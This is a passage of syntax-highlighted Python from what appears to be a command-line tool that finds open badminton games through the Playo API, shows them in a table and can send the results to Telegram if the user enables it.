<span class="giallo-l"><span>                 activity</span><span>.</span><span>get</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">joineeCount</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 0</span><span>)</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;</span><span> activity</span><span>.</span><span>get</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">maxPlayers</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 0</span><span>)</span><span>)</span></span>
<span class="giallo-l"><span>            )</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">            #</span><span style="color: light-dark(#6A737D, #768390);"> When verbose, print time details for each game to help debug</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">            if</span><span> verbose</span><span>:</span></span>
<span class="giallo-l"><span>                time_info</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#D73A49, #F47067);"> f</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">[dim]</span><span style="color: light-dark(#005CC5, #F47067);">{</span><span>activity</span><span>.</span><span>get</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">location</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">Unknown</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>)</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);"> - Start: </span><span style="color: light-dark(#005CC5, #F47067);">{</span><span>start_time_local</span><span>.</span><span>strftime</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">%H:%M</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>)</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);"> IST (</span><span style="color: light-dark(#005CC5, #F47067);">{</span><span>start_time_utc</span><span>.</span><span>strftime</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">%H:%M</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>)</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);"> UTC), </span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#D73A49, #F47067);"> +</span><span> \</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">                           f</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">End: </span><span style="color: light-dark(#005CC5, #F47067);">{</span><span>end_time_local</span><span>.</span><span>strftime</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">%H:%M</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>)</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);"> IST, Duration: </span><span style="color: light-dark(#005CC5, #F47067);">{</span><span>duration_minutes</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);"> min, </span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#D73A49, #F47067);"> +</span><span> \</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">                           f</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Time match: </span><span style="color: light-dark(#005CC5, #F47067);">{</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">Yes</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#D73A49, #F47067);"> if</span><span> is_time_match</span><span style="color: light-dark(#D73A49, #F47067);"> else</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">No</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);">, Available: </span><span style="color: light-dark(#005CC5, #F47067);">{</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">Yes</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#D73A49, #F47067);"> if</span><span> is_available</span><span style="color: light-dark(#D73A49, #F47067);"> else</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">No</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);">[/dim]</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>                console</span><span>.</span><span>print</span><span>(</span><span>time_info</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">            #</span><span style="color: light-dark(#6A737D, #768390);"> Both conditions must be true</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">            if</span><span> is_time_match</span><span style="color: light-dark(#D73A49, #F47067);"> and</span><span> is_available</span><span>:</span></span>
<span class="giallo-l"><span>                matching_games</span><span>.</span><span>append</span><span>(</span><span>{</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">                    &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">id</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>:</span><span> activity</span><span>[</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">id</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">                    &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">location</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>:</span><span> activity</span><span>[</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">location</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">                    &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">venue_name</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>:</span><span> activity</span><span>.</span><span>get</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">venueName</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">N/A</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">                    &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">start</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>:</span><span> start_time_local</span><span>.</span><span>strftime</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">%I:%M %p</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">                    &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">end</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>:</span><span> end_time_local</span><span>.</span><span>strftime</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">%I:%M %p</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">                    &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">players</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>:</span><span style="color: light-dark(#D73A49, #F47067);"> f</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#005CC5, #F47067);">{</span><span>activity</span><span>.</span><span>get</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">joineeCount</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>,</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 0</span><span>)</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#005CC5, #F47067);">{</span><span>activity</span><span>.</span><span>get</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">maxPlayers</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">unlimited</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>)</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">                    &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">host</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>:</span><span> activity</span><span>.</span><span>get</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">userInfo</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span> [</span><span>{</span><span>}</span><span>]</span><span>)</span><span>[</span><span style="color: light-dark(#005CC5, #6CB6FF);">0</span><span>]</span><span>.</span><span>get</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">fName</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Unknown</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">                    &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">skill</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>:</span><span> activity</span><span>.</span><span>get</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">skill</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Any</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">                    &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">price</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>:</span><span style="color: light-dark(#D73A49, #F47067);"> f</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#005CC5, #F47067);">{</span><span>activity</span><span>.</span><span>get</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">price</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>,</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 0</span><span>)</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#005CC5, #F47067);"> {</span><span>activity</span><span>.</span><span>get</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">currencyTxt</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">INR</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>)</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>                }</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">        #</span><span style="color: light-dark(#6A737D, #768390);"> Display results</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">        if</span><span> matching_games</span><span>:</span></span>
<span class="giallo-l"><span>            table</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> Table</span><span>(</span><span style="color: light-dark(#E36209, #F69D50);">title</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#D73A49, #F47067);">f</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Available Badminton Games (</span><span style="color: light-dark(#005CC5, #F47067);">{</span><span style="color: light-dark(#005CC5, #6CB6FF);">len</span><span>(</span><span>matching_games</span><span>)</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);"> matches found)</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>            table</span><span>.</span><span>add_column</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Location</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> style</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">cyan</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span>            table</span><span>.</span><span>add_column</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Time</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> style</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">green</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span>            table</span><span>.</span><span>add_column</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Players</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> style</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">yellow</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span>            table</span><span>.</span><span>add_column</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Host</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> style</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">magenta</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span>            table</span><span>.</span><span>add_column</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Skill Level</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> style</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">blue</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span>            table</span><span>.</span><span>add_column</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Link</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> style</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">bright_blue</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">            for</span><span> game</span><span style="color: light-dark(#D73A49, #F47067);"> in</span><span> matching_games</span><span>:</span></span>
<span class="giallo-l"><span>                table</span><span>.</span><span>add_row</span><span>(</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">                    f</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#005CC5, #F47067);">{</span><span>game</span><span>[</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">venue_name</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>]</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">                    f</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#005CC5, #F47067);">{</span><span>game</span><span>[</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">start</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>]</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);"> - </span><span style="color: light-dark(#005CC5, #F47067);">{</span><span>game</span><span>[</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">end</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>]</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span>                    game</span><span>[</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">players</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span><span>,</span></span>
<span class="giallo-l"><span>                    game</span><span>[</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">host</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span><span>,</span></span>
<span class="giallo-l"><span>                    game</span><span>[</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">skill</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">                    f</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">https://playo.co/match/</span><span style="color: light-dark(#005CC5, #F47067);">{</span><span>game</span><span>[</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">id</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>]</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>                )</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>            console</span><span>.</span><span>print</span><span>(</span><span>table</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">            #</span><span style="color: light-dark(#6A737D, #768390);"> Send to Telegram if requested</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">            if</span><span> telegram</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">                if</span><span style="color: light-dark(#D73A49, #F47067);"> not</span><span> telegram_token</span><span style="color: light-dark(#D73A49, #F47067);"> or</span><span style="color: light-dark(#D73A49, #F47067);"> not</span><span> telegram_chat_id</span><span>:</span></span>
<span class="giallo-l"><span>                    console</span><span>.</span><span>print</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">[bold red]Error:[/bold red] Telegram token and chat ID are required for Telegram notifications</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span>                    console</span><span>.</span><span>print</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">[dim]Set them with --telegram-token and --telegram-chat-id or via environment variables[/dim]</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">                else</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">                    try</span><span>:</span></span>
<span class="giallo-l"><span>                        send_to_telegram</span><span>(</span><span>matching_games</span><span>,</span><span> telegram_token</span><span>,</span><span> telegram_chat_id</span><span>)</span></span>
<span class="giallo-l"><span>                        console</span><span>.</span><span>print</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">[green]Results sent to Telegram successfully![/green]</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">                    except</span><span style="color: light-dark(#005CC5, #6CB6FF);"> Exception</span><span style="color: light-dark(#D73A49, #F47067);"> as</span><span> e</span><span>:</span></span>
<span class="giallo-l"><span>                        console</span><span>.</span><span>print</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">f</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">[bold red]Error sending to Telegram:[/bold red] </span><span style="color: light-dark(#005CC5, #F47067);">{</span><span>e</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">        else</span><span>:</span></span>
<span class="giallo-l"><span>            console</span><span>.</span><span>print</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">[yellow]No games found matching your criteria[/yellow]</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">            if</span><span> telegram</span><span style="color: light-dark(#D73A49, #F47067);"> and</span><span> telegram_token</span><span style="color: light-dark(#D73A49, #F47067);"> and</span><span> telegram_chat_id</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">                try</span><span>:</span></span>
<span class="giallo-l"><span>                    asyncio</span><span>.</span><span>run</span><span>(</span><span>send_telegram_message</span><span>(</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">                        &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">No badminton games found matching your criteria for today.</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span>                        telegram_token</span><span>,</span></span>
<span class="giallo-l"><span>                        telegram_chat_id</span></span>
<span class="giallo-l"><span>                    )</span><span>)</span></span>
<span class="giallo-l"><span>                    console</span><span>.</span><span>print</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">[green]Empty results notification sent to Telegram[/green]</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">                except</span><span style="color: light-dark(#005CC5, #6CB6FF);"> Exception</span><span style="color: light-dark(#D73A49, #F47067);"> as</span><span> e</span><span>:</span></span>
<span class="giallo-l"><span>                    console</span><span>.</span><span>print</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">f</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">[bold red]Error sending to Telegram:[/bold red] </span><span style="color: light-dark(#005CC5, #F47067);">{</span><span>e</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    except</span><span> requests</span><span>.</span><span>RequestException</span><span style="color: light-dark(#D73A49, #F47067);"> as</span><span> e</span><span>:</span></span>
<span class="giallo-l"><span>        console</span><span>.</span><span>print</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">f</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">[bold red]Error:[/bold red] Failed to connect to Playo API: </span><span style="color: light-dark(#005CC5, #F47067);">{</span><span>e</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    except</span><span> json</span><span>.</span><span>JSONDecodeError</span><span>:</span></span>
<span class="giallo-l"><span>        console</span><span>.</span><span>print</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">[bold red]Error:[/bold red] Failed to parse API response</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    except</span><span style="color: light-dark(#005CC5, #6CB6FF);"> Exception</span><span style="color: light-dark(#D73A49, #F47067);"> as</span><span> e</span><span>:</span></span>
<span class="giallo-l"><span>        console</span><span>.</span><span>print</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">f</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">[bold red]Error:[/bold red] An unexpected error occurred: </span><span style="color: light-dark(#005CC5, #F47067);">{</span><span>e</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">def</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> send_to_telegram</span><span>(</span><span>games</span><span>,</span><span> token</span><span>,</span><span> chat_id</span><span>)</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    &quot;&quot;&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Send game information to Telegram as a nicely formatted message.</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;&quot;&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    if</span><span style="color: light-dark(#D73A49, #F47067);"> not</span><span> games</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">        return</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">    #</span><span style="color: light-dark(#6A737D, #768390);"> Create a formatted message for Telegram</span></span>
<span class="giallo-l"><span>    message</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">🏸 *Available Badminton Games* 🏸</span><span style="color: light-dark(#005CC5, #F47067);">\n</span><span style="color: light-dark(#005CC5, #F47067);">\n</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    for</span><span> i</span><span>,</span><span> game</span><span style="color: light-dark(#D73A49, #F47067);"> in</span><span style="color: light-dark(#005CC5, #6CB6FF);"> enumerate</span><span>(</span><span>games</span><span>,</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 1</span><span>)</span><span>:</span></span>
